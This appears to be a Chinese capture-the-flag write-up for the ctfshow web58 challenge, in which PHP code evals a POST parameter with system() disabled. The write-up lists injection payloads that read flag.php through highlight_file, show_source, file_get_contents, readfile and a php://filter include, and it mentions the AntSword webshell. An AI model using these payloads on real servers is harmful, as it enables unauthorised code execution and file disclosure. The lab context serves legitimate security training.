当前位置: 首页 > news >正文

[ctfshow web入门] web58

信息收集

if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

这麽简单?

解题

好吧,还是我想得太简单了
在这里插入图片描述
把system禁用了。不是参数过滤,而是直接禁用,不管是间接还是直接调用system都不行,所以之前的一些方法不能用了,比如日志包含,间接传参啥的。

我首先想到了,直接使用读文件的函数读取不就好了
然后想到了,蚁剑这种高级工具,应高有办法解决这种问题的吧,肯定不止eval一个绕过函数。
果然一个highlight_file就解决了

c=highlight_file("flag.php");
c=show_source("flag.php");
c=print_r(file("flag.php"));   

还有能各种加密的include,实在是没啥必要,能直接看为啥要加密嗷

c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");

这些方法需要抓包,不会直接显示在渲染界面上

c=echo file_get_contents("flag.php");
c=readfile("flag.php");

、
蚁剑也是随便接入,参考[ctfshow web入门] web31
在这里插入图片描述


web    目录    web

http://www.dtcms.com/a/177637.html

相关文章:

  • 【算法-链表】链表操作技巧:常见算法
  • 《数据结构初阶》【链式二叉树】
  • 从父类到子类:C++ 继承的奇妙旅程(1)
  • 什么是HTML、CSS 和 JavaScript?
  • 如何阅读、学习 Git 核心源代码 ?
  • 使用C# ASP.NET创建一个可以由服务端推送信息至客户端的WEB应用(2)
  • 缓存套餐-03.功能测试
  • 缓存(1):三级缓存
  • 如何利用 Elastic Load Balancing 提升应用性能与可用性?
  • java CyclicBarrier
  • 模拟堆(算法题)
  • Linux电源管理(7)_Wakeup events framework
  • 【神经网络与深度学习】VAE 在解码前进行重参数化
  • 前端线上错误日志收集与定位指南
  • MySQL概念简介
  • C++ stl中的vector的相关用法 迭代器失效问题
  • 第4章 递推法
  • 1688拍立淘搜索相似商品API接口概述,json数据示例参考
  • 【编译原理】第五章 自下而上语法分析
  • HTML基础2-空元素,元素属性与页面的结构
  • 第35周Zookkeeper+Dubbo Dubbo
  • 力扣热题100之回文链表
  • CPU的基本认识
  • 企业数字化转型第二课:接受不完美(1/2)
  • 2025最新出版 Microsoft Project由入门到精通(二)
  • springboot国家化多语言实现
  • Python中的global与nonlocal关键字详解
  • AV1中的维纳滤波器
  • 数据管道的解耦艺术:Dagster I/O管理器实现存储与逻辑分离
  • Android开发-文本显示